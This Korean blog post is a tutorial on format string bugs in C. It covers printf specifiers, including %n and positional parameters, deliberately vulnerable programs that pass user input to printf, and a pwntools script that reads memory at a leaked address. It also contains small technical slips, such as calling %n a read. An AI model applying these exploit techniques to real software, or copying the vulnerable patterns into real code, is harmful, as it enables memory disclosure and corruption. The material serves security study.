본문 바로가기
Pwnable/Techniques

Memory Corruption: Format String Bug

by Anatis 2022. 1. 5.

포맷 스트링

%[parameter][flags][width][.precision][length]type

 

형식 지정자(specifier)

형식 지정자 설명
%d 부호있는 10진수 정수
%s 문자열
%x 부호없는 16진수 정수
%n 인자에 현재까지 사용된 문자열의 길이를 저장
%p void형 포인터

 

width

최소 너비를 지정한다. 치환되는 문자열이 이 값보다 짧을 경우, 공백문자를 패딩해준다.

너비 지정자 설명
정수 정수의 값만큼을 최소 너비로 지정
* 인자의 값 만큼을 최소 너비로 지정

 

// Name: fs.c
// Compile: gcc -o fs fs.c

#include <stdio.h>

int main()
{
    int num;

    printf("%8d\n", 123);
    printf("%s\n", "Hello, world");
    printf("%x\n", 0xdeadbeef);
    printf("%p\n", &num);

    printf("%s%n: hi\n", "Alice", &num);
    printf("%*s: hello\n", num, "Bob");

    return 0;
}

"%n"은 포맷스트링의 인자가 사용자의 입력에 영향을 받기때문에, 코드를 작성하는 시점에는 완성된 포맷 스트링의 길이를 알 수 없다. 하지만 포맷 스트링의 길이를 코드에 사용해야 한다면 %n을 사용하면 된다. 

 

parameter

참조할 인자의 인덱스를 지정한다. 필드의 끝은 $로 표기, 인덱스의 범위를 전달된 인자의 갯수와 비교하지 않는다.

// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c

#include <stdio.h>

int main()
{
    int num;

    printf("%2$d, %1$d\n", 2, 1);

    return 0;
}

 

포맷 스트링 버그

포맷 스트링 버그(Format String Bug,  FSB)는 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그를 말한다. 포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수있다.

 

임의 주소 읽기1

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c

#include <stdio.h>

int main()
{
    char format[0x100];

    printf("Format: ");
    scanf("%[^\n]", format);
    printf(format);

    return 0;
}

 

사용자가 임의의 포맷 스트링을 입력하고, x64 함수 호출 규약을 생각해보면 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10]임을 알 수 있다.

 

임의 주소 읽기2

// Name: fsb_arr.c
// Compile: gcc -o fsb_aar fsb_aar.c

#include <stdio.h>

const char *secret = "THIS IS SECRET";

int main()
{
    char format[0x100];

    printf("Address of `secret`: %p\n", secret);
    printf("Format: ");
    scanf("%[^\n]", format);
    printf(format);

    return 0;
}
from pwn import *

p = process('./fsb_aar')

p.recvuntil(b"`secret`: ")
secret_addr = int(p.recvline()[:-1], 16)

fstring = b"%7$s".ljust(8)
fstring += p64(secret_addr)
p.sendline(fstring)

p.interactive()

포맷 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용해 그 주소에 데이터를 읽을 수 있다.

 

임의 주소 쓰기

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c

#include <stdio.h>

int secret;

int main()
{
    char format[0x100];

    printf("Address of `secret`: %p\n", &secret);
    printf("Format: ");
    scanf("%[^\n]", format);
    printf(format);

    printf("Secret: %d", secret);

    return 0;
}

PoC를 실행시키면 31337로 조작한 secret의 값이 출력이 된다.

'Pwnable > Techniques' 카테고리의 다른 글

Memory Corruption: Double Free Bug  (0) 2022.01.06
Memory Corruption: Use After Free  (0) 2022.01.05
Out of Bounds  (0) 2021.12.30
RELRO  (0) 2021.12.29
RELRO  (0) 2021.12.29

댓글